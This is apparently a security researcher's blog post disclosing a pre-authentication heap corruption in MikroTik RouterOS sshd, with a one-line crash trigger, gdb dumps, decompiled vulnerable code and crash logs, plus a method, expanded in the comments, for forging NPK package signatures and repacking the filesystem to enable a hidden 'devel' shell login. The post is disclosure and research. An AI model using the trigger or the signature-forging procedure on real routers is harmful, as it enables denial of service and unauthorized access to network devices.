Mikrotik RouterOS 5.* and 6.* sshd remote preauth heap corruption

 

During an audit the Mikrotik RouterOS sshd (ROSSSH) has been identified to have a remote previous to authentication heap corruption in its sshd component. Exploitation of this vulnerability will allow full access to the router device. This analysis describes the bug and includes a way to get developer access to recent versions of Mikrotik RouterOS using the ‘/etc/devel-login’ file. This is done by forging a modified NPK file using a correct signature and logging into the device with username ‘devel’ and the password of the administrator. This will drop into a busybox shell for further researching the sshd vulnerability using gdb and strace tools that have been compiled for the Mikrotik busybox platform.

Shodanhq.com shows >290.000 entries for the ROSSSH search term.

The 50 megs Mikrotik package including all research items can be downloaded here (this link is subject to change): http://www.farlight.org/mikropackage.zip

Enjoy!

Kingcope

logo_new800

  • VMWare image for x86 (other available architectures are not included but affected mips,ppc and so on) is available in the downloadable package
  • Overview of versions and architectures http://www.mikrotik.com/download
  • Version 6.2 is affected, as a testbed VM I use version 5.25
  • Version 4 (?) is using openssh as a daemon. The crash in sshd might still occur in these versions tough untested (service respawns)
  • 5 (?) and up (including 5.25 and 6.2) use ROSSSH secure shell service
  • There is an option in the ssh service to login as user ‘devel’ and the same password as ‘admin’. To be able to do this it is required that the file ‘/etc/devel-login’ exists. This file is created at installation phase of the Mikrotik iso.
  • The Mikrotik 5.25 iso was modified to write this file into /etc/ folder during iso installation inside VMWare. This is accomplished by modifying an NPK package, the installation package format of Mikrotik.
  • Development tools, all to be used inside a second Linux
    • dumpnpk.py dumps NPK package structure and contents
    • createnpk.py * not used because it doesn’t handle signature
    • supout.pl takes a ‘autosupout.rif’ file (it is a crashdump and logfile of the Mikrotik system when a crash occurs during operation) and converts it into a human readable form. The tool ‘Winbox’ developed by Mikrotik is used to fetch this .rif file from the device from the ‘Files’ section.
    •  ‘sshd’ binary file and libraries ‘libssh.so’,’libumsg.so’ extracted from the device
    •  Interactive Disassembler for disassembling the x86 binaries of sshd
    •  The device runs on busybox. The second Linux can be used to compile a gdb that uses busybox in order to run it inside the Mikrotik VM, gdb is installed inside the Mikrotik VM. In the current state gdb does not resolve symbols, it is assumed that gdb has to be compiled on the target vm in order to resolve symbols. Error output from gdb:

‘Reading symbols from /nova/bin/sshd…I’m sorry, Dave, I can’t do that.
Symbol format `elf32-i386′ unknown.’
Still gdb can be used in the normal way only that function names from IDA will not be displayed.

    • strace is installed the same way gdb is. The strace tool is included in the VM.
  •  sshd heap corruption
    • There are 2 Crashpaths
      • one triggering an assert that might be circumvented
      •  crash occurs in ‘libumsg.so’
      •  it is triggered using the following command:

ssh -l`perl -e ‘print “A” x 100000’` <ip of mikrotik router>

      • it is unclear why the assert crashes the sshd service process, normally it should write the ‘too long message sent’ to the log- file and bail out without reaching the assert.

Assumed is because control structures where overwritten and the assert catches this corruption. The process dies with Signal 6, abort trap. It does not respawn.

    • one triggering Sigsegv, signal 11 with controllable values
      • crash occurs inside libssh.so
      • here is the gdb log when the crash occurs, the value of ECX is controlled other values of memory regions (?) or registers are controllable too when tweaking the trigger client. The instructions “rep movsb %ds:(%esi),%es:(%edi)” copy from ESI (here our AAAA’s buffer is located) to EDI, in this case EDI has a zero value, in other testcases the value of EDI is a memory pointer.

GNU gdb 6.8
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html&gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type “show copying”
and “show warranty” for details.
This GDB was configured as “i686-linux-uclibc”…
attach: No such file or directory.
Attaching to process 324
Reading symbols from /nova/bin/sshd…I’m sorry, Dave, I can’t do that. Symbol format `elf32-i386′ unknown.
A program is being debugged already. Kill it? (y or n) n
Program not killed.
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x77848596 in ?? ()
(gdb) bt
#0 0x77848596 in ?? ()
(gdb) i f
Stack level 0, frame at 0x7f8f78b4:
eip = 0x77848596; saved eip 0x8050e38
Arglist at 0x7f8f78ac, args:
Locals at 0x7f8f78ac, Previous frame’s sp is 0x7f8f78b4
Saved registers:
eip at 0x7f8f78b0
(gdb) x/10i $eip
0x77848596: rep movsb %ds:(%esi),%es:(%edi)
0x77848598: mov -0x1c(%ebp),%ecx
0x7784859b: mov 0x8(%ebp),%eax
0x7784859e: add %ecx,0xc(%eax)
0x778485a1: add $0x10,%esp
0x778485a4: mov %edx,%eax
0x778485a6: lea -0xc(%ebp),%esp
0x778485a9: pop %ebx
0x778485aa: pop %esi
0x778485ab: pop %edi
(gdb) i r
eax 0x0 0
ecx 0xc0ffff 12648447
edx 0x8050e38 134549048
ebx 0x7785ea9c 2005265052
esp 0x7f8f78b0 0x7f8f78b0
ebp 0x7f8f78e8 0x7f8f78e8
esi 0x806ca22 134662690
edi 0x0 0
eip 0x77848596 0x77848596
eflags 0x210216 [ PF AF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x0 0
(gdb) x/10x $esi
0x806ca22: 0x41414141 0x41414141 0x41414141 0x41414141
0x806ca32: 0x41414141 0x41414141 0x41414141 0x41414141
0x806ca42: 0x41414141 0x41414141
(gdb)

    •  here is the C source of code lines that make this crash occur, specifically ‘getStringAsBuffer’ is the function that contains the code that includes the ‘rep movsb %ds:(%esi),%es:(%edi)’ seen at the gdb log when the crash occurs. Extracted with Hex Rays Decompiler (IDA Plugin)

//—– (00018518) ——————————————————–
void *__cdecl Buffer::getStringAsBuffer(int a1)
{
char v1; // al@1
void *v2; // edx@1
unsigned int v3; // eax@2
char v4; // al@2
void *v5; // ST18_4@3
unsigned int v7; // [sp+14h] [bp-1Ch]@2

v1 = Buffer::avail(a1, 4);
v2 = 0;
if ( v1 )
{
v3 = Buffer::getInt32(a1);
v7 = v3;
v4 = Buffer::avail(a1, v3);
v2 = 0;
if ( v4 )
{
v5 = malloc(0x14u);
Buffer::Buffer(v5, v7);
v2 = v5;
memcpy(*((void **)v5 + 1), (const void *)(*(_DWORD *)(a1 + 12) + *(_DWORD *)(a1 + 4)), v7);
*(_DWORD *)(a1 + 12) += v7;
}
}
return v2;
}

//—– (00014FB4) ——————————————————–
int __cdecl Buffer::Buffer(int a1, int a2)
{
int result; // eax@1

result = a1;
*(_BYTE *)(a1 + 16) = 0;
*(_DWORD *)(a1 + 12) = 0;
*(_DWORD *)a1 = 0;
*(_DWORD *)(a1 + 4) = 0;
*(_DWORD *)(a1 + 8) = 0;
if ( a2 )
result = Buffer::expand(a1, a2);
return result;
}

//—– (00014EAA) ——————————————————–
char __cdecl Buffer::expand(int a1, int a2)
{
int v2; // ecx@1
const void *v3; // eax@1
int v4; // esi@1
char result; // al@1
void *v6; // eax@5
int v7; // edx@5
int v8; // [sp+4h] [bp-24h]@1
unsigned int v9; // [sp+8h] [bp-20h]@4
const void *ptr; // [sp+Ch] [bp-1Ch]@1

v2 = *(_DWORD *)(a1 + 8);
v3 = *(const void **)(a1 + 4);
ptr = v3;
v8 = v2 – (_DWORD)v3;
v4 = *(_DWORD *)(a1 + 12) + a2;
result = 1;
if ( v4 > (unsigned int)v8 )
{
if ( (unsigned int)v4 <= 0x40400 )
{
v9 = *(_DWORD *)a1;
if ( (unsigned int)v4 <= *(_DWORD *)a1 )
{
*(_DWORD *)(a1 + 8) = v4 – v8 + v2;
}
else
{
v6 = malloc((v4 + 71) & 0xFFFFFFF8);
v7 = a1;
*(_DWORD *)(a1 + 4) = v6;
*(_DWORD *)(a1 + 8) = (char *)v6 + v4;
if ( ptr )
{
memcpy(v6, ptr, v9);
free((void *)ptr);
v7 = a1;
}
*(_DWORD *)v7 = (v4 + 71) & 0xFFFFFFF8;
result = 1;
}
}
else
{
*(_BYTE *)(a1 + 16) = 1;
result = 0;
}
}
return result;
}

  •  crash analysis

/nova/bin/sshd
— signal=6 ——————————————–

eip=0x77533bd9 eflags=0x00200202
edi=0x7fed71f8 esi=0x7755a268 ebp=0x7fed6ec8 esp=0x7fed6ec0
eax=0x00000000 ebx=0x00000375 ecx=0x00000006 edx=0x77559ff4

backtrace: 0x77533bd9 0x7754ff5b 0x77551a9f 0x775367aa 0x776ceec8 0x776d76b3
0x776d1a2f 0x776d886d 0x7770aa32 0x7770e128 0x7770e321 0x777131af 0x7770e54b
0x77708f53 0x776fab3d 0x776c75fe 0x776c769c 0x776d26ad 0x0804aadd 0x77555bf6
0x0804a3c5

code:
87 d3 89 c6 3d 00 f0 ff ff 76 0c e8 97 e3 ff ff

maps:
08048000-0804c000 r-xp 00000000 03:02 229622 /nova/bin/sshd
77523000-77525000 r-xp 00000000 03:02 148070 /lib/libdl-0.9.30.2.so
77527000-77528000 r-xp 00000000 03:02 147779 /lib/libutil-0.9.30.2.so
7752a000-77559000 r-xp 00000000 03:02 148087 /lib/libuClibc-0.9.30.2.so
7755d000-77562000 r-xp 00000000 03:02 106659 /lib/libgcc_s.so.1
77563000-77573000 r-xp 00000000 03:02 148084 /lib/libuc++.so
77574000-7757c000 r-xp 00000000 03:02 147776 /lib/libufiber.so
7757d000-77693000 r-xp 00000000 03:02 147777 /lib/libcrypto.so.1.0.0
776a4000-776ad000 r-xp 00000000 03:02 148066 /lib/libubox.so
776ae000-776e3000 r-xp 00000000 03:02 148083 /lib/libumsg.so
776e7000-77715000 r-xp 00000000 03:02 148155 /lib/libssh.so
7771a000-7771f000 r-xp 00000000 03:02 148082 /lib/ld-uClibc-0.9.30.2.so
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]

logtail 1024 begin:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ssh-connection none
LOOPER: write message too long
/nova/bin/sshd: looper.cpp: 1324:
void nv::Looper::writeMessage(const nv::message&): Assertion `false’ failed.

logtail end

/nova/bin/sshd
— signal=11 ——————————————–

eip=0x777cc596 eflags=0x00210202
edi=0x00000000 esi=0x0806c0da ebp=0x7fba7928 esp=0x7fba78f0
eax=0x00000000 ebx=0x777e2a9c ecx=0x00c0ffff edx=0x08052868

backtrace: 0x777cc596 0x777d4203 0x777daf7c 0x777db321 0x777e01af 0x777db54b
0x777d5f53 0x777c7b3d 0x777945fe 0x7779469c 0x7779f6ad 0x0804aadd

code:
f3 a4 8b 4d e4 8b 45 08 01 48 0c 83 c4 10 89 d0

maps:
08048000-0804c000 r-xp 00000000 03:02 16630 /nova/bin/sshd
775ec000-775ee000 r-xp 00000000 03:02 336486 /lib/libdl-0.9.30.2.so
775f0000-775f1000 r-xp 00000000 03:02 336195 /lib/libutil-0.9.30.2.so
775f3000-77622000 r-xp 00000000 03:02 336503 /lib/libuClibc-0.9.30.2.so
77626000-7762f000 r-xp 00000000 03:02 336496 /lib/libgcc_s.so.1
77630000-77640000 r-xp 00000000 03:02 336500 /lib/libuc++.so
77641000-77649000 r-xp 00000000 03:02 336192 /lib/libufiber.so
7764a000-77760000 r-xp 00000000 03:02 336193 /lib/libcrypto.so.1.0.0
77771000-7777a000 r-xp 00000000 03:02 336482 /lib/libubox.so
7777b000-777b0000 r-xp 00000000 03:02 336499 /lib/libumsg.so
777b4000-777e2000 r-xp 00000000 03:02 336571 /lib/libssh.so
777e7000-777ec000 r-xp 00000000 03:02 336498 /lib/ld-uClibc-0.9.30.2.so
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]

logtail 1024 begin:
c-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64
@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hma
c-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96
mac algo SC: hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@open
ssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm
@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md
5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com
,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1
-96,hmac-md5-96
comp algo CS: none,zlib@openssh.com,zlib
comp algo SC: none,zlib@openssh.com,zlib
packet follows: 0
agreed on: diffie-hellman-group-exchange-sha256 aes128-cbc aes128-cbc hmac-md5 h
mac-md5 none none
trying DSS file
DSA key loaded
trying PEM container..
DSA key loaded
transport state: 1 –> 2
authorization service requested
auth req: kcope ssh-connection none
next auth methods: publickey,password

logtail end

  •  logins for the Mikrotik VM

the ip address of the device can be seen with the command
ip address print
because dhcp should already be activated.

admin username: admin
admin password: <blank>

developer login using telnet and ssh, please login with telnet for using gdb
devel username: devel
devel password: <blank>

  •  files that are included in the downloadable package
    •  Mikrotik-5.25-dev.vmdk and .vmx – Virtual Machine of Mikrotik router.
    •  mikrotik-5.25-touchdevel.iso – the iso file for installation

VMWare 8.0.3 is used to run it, all other softwares will run it too
such as QEmu and Virtualbox

    •  trigger source code for crash number 2.

modified file: sshconnect2.c of openssh6.2p2trigger.tar.gz

    •  ups-5.25-touchdevel.npk the NPK package that is used to create the ‘/etc/devel-login’ file. It is already included in the mikrotik-5.25-touchdevel.iso it has been created by modifying the commands that are executed during installation using a hex editor and afterwards the SHA1 signature of the NPK file has been identified using the original installer binary by reversing. The signature has been set in the NPK file so the ISO installer accepts the NPK during installation even if it prints out a warning.
    •  gdb toolchain

the gdb,strace,ps,netstat binaries that where copied to the target

    •  C source files of libssh.so and libumsg.so

extracted with hex rays decompiler IDA plugin

    •  all binaries can be extracted from the target by copying them using developers login from their file path to ‘/rw/pckg’ and fetching them using the Winbox tool to a Windows system. In the same way files can be copied inside Winbox ‘Files’ section these files will be then located in ‘/rw/pckg’.
    •  Winbox Configuration tool for RouterOS can be found at

http://download2.mikrotik.com/winbox.exe

About these ads

24 thoughts on “Mikrotik RouterOS 5.* and 6.* sshd remote preauth heap corruption

  1. Pingback: Zdalne, nieuwierzytelnione wykonanie kodu na routerach Mikrotik?

  2. Pingback: Random Access Fires | TechSNAP 126 | Jupiter Broadcasting

  3. Pingback: Weekendowa Lektura | Zaufana Trzecia Strona

  4. Hy,Mikrotik are denying that the heap corruption can lead to access to the router,and that all that happens in bolt cases is that the deamon stops and you need to restart the machine to fix it.
    http://forum.mikrotik.com/viewtopic.php?p=384465#p384465
    Have you been in contact with mikrotik?Have they said anything?
    I have stopped ssh on all my and my clients servers until its clear whats happening.
    I suppose winbox is safe…:D
    10x for the great work and for keeping these guys honest.
    Best of luck,
    Andrew

  5. Pingback: MikroTik RouterOS ‘sshd’组件多个堆内存破坏漏洞 | 阳光雨露

  6. Hi, when you say “and afterwards the SHA1 signature of the NPK file has been identified using the original installer binary by reversing”, can you please share details about how the hash is calculated?

    I see that it’s data type 0x09 and it’s 68 bytes long.

    In the original package it was: C4 E5 26 E3 DE 6E FE F5 5B 6A 78 57 AC 22 CD B3 7C F6 0C F4 61 98 CA 01 7C D6 D6 1B E1 87 02 AE 06 C4 27 0A 42 2D 74 17 6B AD E9 DF FB 54 BB 63 BB A1 2C 62 3D B5 14 FB 49 25 2B 76 AF AA 58 31 B5 BC 7B 09

    In your package it is: 94 A8 D0 18 4C 5A BF 5E CB 72 0E F7 ED 21 B7 E7 AD 1F 70 AF 61 98 CA 01 7C D6 D6 1B E1 87 02 AE 06 C4 27 0A 42 2D 74 17 6B AD E9 DF FB 54 BB 63 BB A1 2C 62 3D B5 14 FB 49 25 2B 76 AF AA 58 31 B5 BC 7B 09

    Which means that you changed only the first 160 bits… I guess that’s a SHA1 hash of “something”, and I’ve no idea about the rest of the string.

    Could you please share details?
    Thanks.

  7. Hello mino, I didn’t write a program or algorithm to calculate the hash (I think that this is possible to program with some time effort). I compiled gdb on a different busybox host (a normal linux box with a busybox compilation) and copied the gdb binary to the mikrotik router, all done in VMWare. When I had gdb installed I could debug the “installer” binary of Mikrotik (I guess the program file is indeed called ‘installer’). The installer binary will calculate the hash and compare it to the one in the NPK package. So what I did was simple break at the comparison routine of the installer program using a breakpoint and manually copy the correct SHA1 signature to a textfile. Then I used a hex editor to change the bytes of the SHA1 signature in the NPK file to the correct one. Mikrotik will then accept the package for installation. If you look into the installer binary and its algorithm more closely I m sure that it is possible to write a program that will calculate the hash for a given NPK package, if I remember correct the SHA1 hash was calculated by taking a given bytestream of the NPK file (like all bytes after the header until the start of the SHA1 hash or something similar), but I am not 100% sure about that.

    • Thanks so much for your help.
      I’ll now try debugging the “installer” binary following your suggestion.

      ps: it’s not “like all bytes after the header until the start of the SHA1 hash or something similar”, I tried and the resulting hash is different… while I’m debugging the “installer”, I also wrote a bruteforce script (which I’m running in parallel on 70CPU at the moment!) to try find the right offset on which the hash is computed.

      • By the way: bruteforce worked and I found the byte range for the SHA1 key.
        However, did you figure out what the remaining 48 bytes are? Apparently, from version 6.0 the “installer” binary checks them too, so they have to be filled in correctly.

      • Hi,

        I’m really interested in understanding this … I’ve been doing some work with the basic NPK’s, and actually they are much simpler than the python decoders would have you believe.

        4 bytes of signature
        4 bytes of length

        then a sequence of…

        2 bytes of chunk-id
        4 bytes of chunk-length

        Most of the stuff I’ve seen assumes the beginning of the packages are more complex.

        The interesting thing is then what each of the chunk-type’s are:

        01 – module/package name
        16 – architecture
        02 – description
        03 – some package information “system”
        21 – squashfs (xz compression)
        07 – ?
        22 – zero padding
        04 – compressed data, usually containing kernels
        09 – 68 bytes, checksum as you are referring.

        I’ve knocked up some simple perl scripts to unpack, allow you to mess with the squashfs and then repack. I just need to be able to recreate the checksum bit.

        Any help would be really appreciated.

        Regards,

        Lee.

      • Actually … I’ve just figured it out … not sure why it took 70CPU’s … mine took about 4 seconds with a perl script!

        I ran on a package of 20561 bytes, and the sha1 seems to be from byte 8, until 20486.

        This seems to be right up to and including the 6 bytes at the beginning of the checksum section (which seems like a bizarre choice, but given the type and size is fixed it’s perfectly recreatable.) I will confirm with a few different packages.

        Any ideas on the other 48 bytes?

        Lee.

      • Hi Lee,
        indeed the structure is as you detailed, with a few exceptions from version 6.x. In detail:

        ==============================================================================
        Byte 0 NPK header

        Bytes 0-3
        First four bytes is apparently a signature of the NPK format, it used to do so even before the 6.0 format: 1E F1 D0 BA

        Bytes 4-7
        Followed by the size of the package minus 8, for example: 09 88 AC 00 ==> 11,307,017 bytes

        Bytes 8-13
        Always: 01 00 20 00 00 00

        Bytes 14-29
        16 chars for a short name, e.g.: 73 79 73 74 65 6D 00 00 00 00 00 00 00 00 00 00 ==> “system”

        Bytes 30-33
        Followed by 4 bytes for the version, in detail:
        00 ==> apparently always 0x00
        66 ==> apparently always char “f”
        05 ==> minor version, e.g. 7
        06 ==> major version, e.g. 6

        Bytes 34-37
        Followed by 4 bytes, which is the UNIX Epoch of the package, e.g.:
        91 B1 5E 52 ==> 1381937553 ==> Wed, 16 Oct 2013 15:32:33 GMT

        Bytes 38-45
        Apparently they are always zero:
        00 00 00 00 00 00 00 00

        Bytes 46-47
        Apparently always equal to 16:
        10 00

        Bytes 48-51
        Apparently always equal to 4:
        04 00 00 00

        Bytes 52-55
        Four bytes for the architecture, i.e.:
        74 69 6C 65 ==> “tile”

        Bytes 56-57
        Apparently always equal to 2:
        02 00

        Bytes 58-61
        Long description size (let’s call it dsize), e.g.:
        34 00 00 00 ==> 52

        Bytes 62-(62+dsize-1)
        Long description, e.g.:
        0A 20 20 20 20 4D 61 69 6E 20 70 61 63 6B 61 67 65 20 77 69 74 68 20 62 61 73 69 63 20 73 65 72 76 69 63 65 73 20 61 6E 64 20 64 72 69 76 65 72 73 0A 20 20 ==> ‘\n Main package with basic services and drivers\n ‘

        Bytes (62+dsize)-(62+dsize+12)
        Apparently always equal to:
        03 00 02 00 00 00 00 00 16 00 7A FF

        Followed by 0x00 padding up to 0xFFF9 included

        Bytes 0xFFFA-0xFFFB
        Type of the following data, apparently SquashFS is:
        15 00
        ==============================================================================

        As you can see, in version 6.x they added:
        – support for SquashFS with xz compression
        – 0x00 padding from the end of the headers to the first data block (not sure what is the reason)

        I’ve packaged python script to do pack/unpack, they look solid and I’ll upload them to github between today/tomorrow, however there is the problem of the remaining 48 bytes of checksum. I’m trying to figure out what the /nova/bin/installer program is doing with remote gdb and IDA: i found the subroutine that calculates the hash but I haven’t managed yet to undestand it fully.

        Lee and kingcope, would you like to get in touch and do this together? giacomino@gmail.com

        ps: about the 72-CPU hash calculation… as you said, it’s very weird to include the CRC type and size in the CRC itself, this is the reason I bruteforced the calulation of every possible continuous interval of a small (~16KB) NPK file to find the right offset for the calculation. It took a few hours and revealed what you also discovered :)

      • Hi Mino,

        It’s not that complicated…

        I agree completely, up to byte number 8! ;-)

        After that it is a repeating sequence of type, size, data.

        Where you say…

        Bytes 8-13
        Always: 01 00 20 00 00 00

        It’s actually a chunk of data of type 0001, of size 00000020 (i.e. 32 bytes), then the data follows, in this case it’s a package name with some version info.

        This sequence follows all the way through the file (actually some of the “always” comments you make are wrong with regard to mips 6.7), but if you follow the type, size, data sequence it works perfectly.

        Then the question is really about decoding the different data types:

        The sequence from mips 6.7 is as follows:

        18 – looks like the main package name followed by version information (routeros-mipsbe)
        16 – the supported architecture (this appears for each subpackage as well)
        02 – description of the package
        21 – normally a squashfs, but in this case it’s empty … I think it’s something to do with ipv6 being disabled (see later)
        20 – my guess is a list of “disabled packages” it includes ipv6.

        Now we start the normal package sequence … this also matches individual packages…

        01 – similar to 18 above, package name (system)
        16 – architecture as above
        02 – description as above
        03 – two zero’s … presumably padding, maybe to align on a 32bit boundary?
        22 – some more zero’s … presumably some other kind of padding
        21 – the main squashfs filesystem
        12 – no sure at all: 0x0a 0x20 0x20
        04 – compressed data containing kernels etc.
        09 – the checksum bit (68 bytes)

        then normal packages follow the sequence… 01 16 02 03 22 21 09

        I have a perl script that now unpacks and repacks, including recalculating the sha1 … obviously I don’t know what the other 48bytes are so I’ve left them as is.

        I’ll test tonight with a slightly modified filesystem.

        Happy to work together … I’ll drop you an email.

        Regards,

        Lee.

  8. If I remember correct, it’s some time ago, it was easier to debug the installer binary with gdb on the Linux host using busybox and a Mikrotik package because then you have debug symbols and can debug the installer binary easier. So if you want to find new SHA1 hashes or write a program to calculate these then I would take the installer binary and debug it on a Linux installation inside VMWare using busybox.

  9. Hello. Do you now what is a byte computed to sha1 witch npk files?
    I’m tested and not find correct bytes to correct sha1 sum :?

  10. Here is a simple perl script that will calculate the SHA1 sum from a modified NPK file and output a valid NPK file. Thanks to mino and lee we now know where the SHA1 sum is calculated from, yet I don’t know what the 48 trailing bytes after the SHA1 sum are. If I remember correct the installation process of the ISO (or the installer itself) will write log entries about what failed during the installation of the NPK into either the system log that one can fetch with the winbox tool and decode it using the tools in the package of this site or somewhere in /var/log/.
    The use of the provided perl script is for executing the “touch /nova/etc/devel-login” command in order to allow developer login as outlined in the thread above. To do this you have to take a given npk file, open it inside a hex editor, modify the bytes at the top (download the mikropackage provided and open ups-5.25-touchdevel.npk in hexedit and you will see a sample), to execute the “touch /nova/etc/devel-login” command. After completed you can use the perl script to set the correct SHA1 sum. Then copy the npk into the ISO file of the Mikrotik distribution (MagicISO windows tool is suitable to do this) and boot with the new Mikrotik ISO, it should execute the command and write the devel-login file. Now you should be able to login with user devel and the password of the administrator.
    I will take a look into what the trailing bytes are and why a full installation of the NPK still fails and will share the insight.

    http://farlight.org/mikrosha1.pl

    • It is important to deploy the modified npk using a fresh install using an iso file otherwise the npk will not execute the touch command even with a correct sha1 sum. I tried to install the npk using winbox, it refused to execute the command. While installing from an iso image the command is executed, yet it will only execute the commands for startup not the whole npk, that will still fail for some reason.

      • Hi kingcope and lee: actually the procedure is a bit harder (but it works perfectly) on 6.x:

        1) install the x86 VM

        2) boot with a knoppix (or your favourite LiveCD…), then:
        mount /dev/sda2 /mnt
        mount /dev/sda1 /mnt/boot

        3) Let’s make a backup of the system image:
        cp /mnt/var/pdb/system/image /mnt/var/pdb/system/image.backup

        4) mess with the filesystem as follows:
        mkdir -p /tmp/mikro
        cd /tmp/mikro
        cp /mnt/var/pdb/system/image .

        5) run binwalk to find out where the three segments of the file start and its length (in my example, respectively 4096 and 8182694):
        binwalk image

        6) then:
        dd if=image of=one bs=1 count=4096
        dd if=image of=two bs=1 count=8182694 skip=4096
        dd if=image of=three bs=1 skip=8186790

        7) again, extract:
        binwalk -e two
        cd _two.extracted/squashfs-root/

        8) change anything you want in the filesystem! For example create the “devel-login” file.

        9) then, to repackage:
        mksquashfs squashfs-root/ ../two.new -noappend -always-use-fragments -comp xz
        cat one > image.new
        cat two.new >> image.new
        cat three >> image.new
        cp image.new /mnt/var/pdb/system/image

        10) reboot and remove the virtual LiveCD

        done :)

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s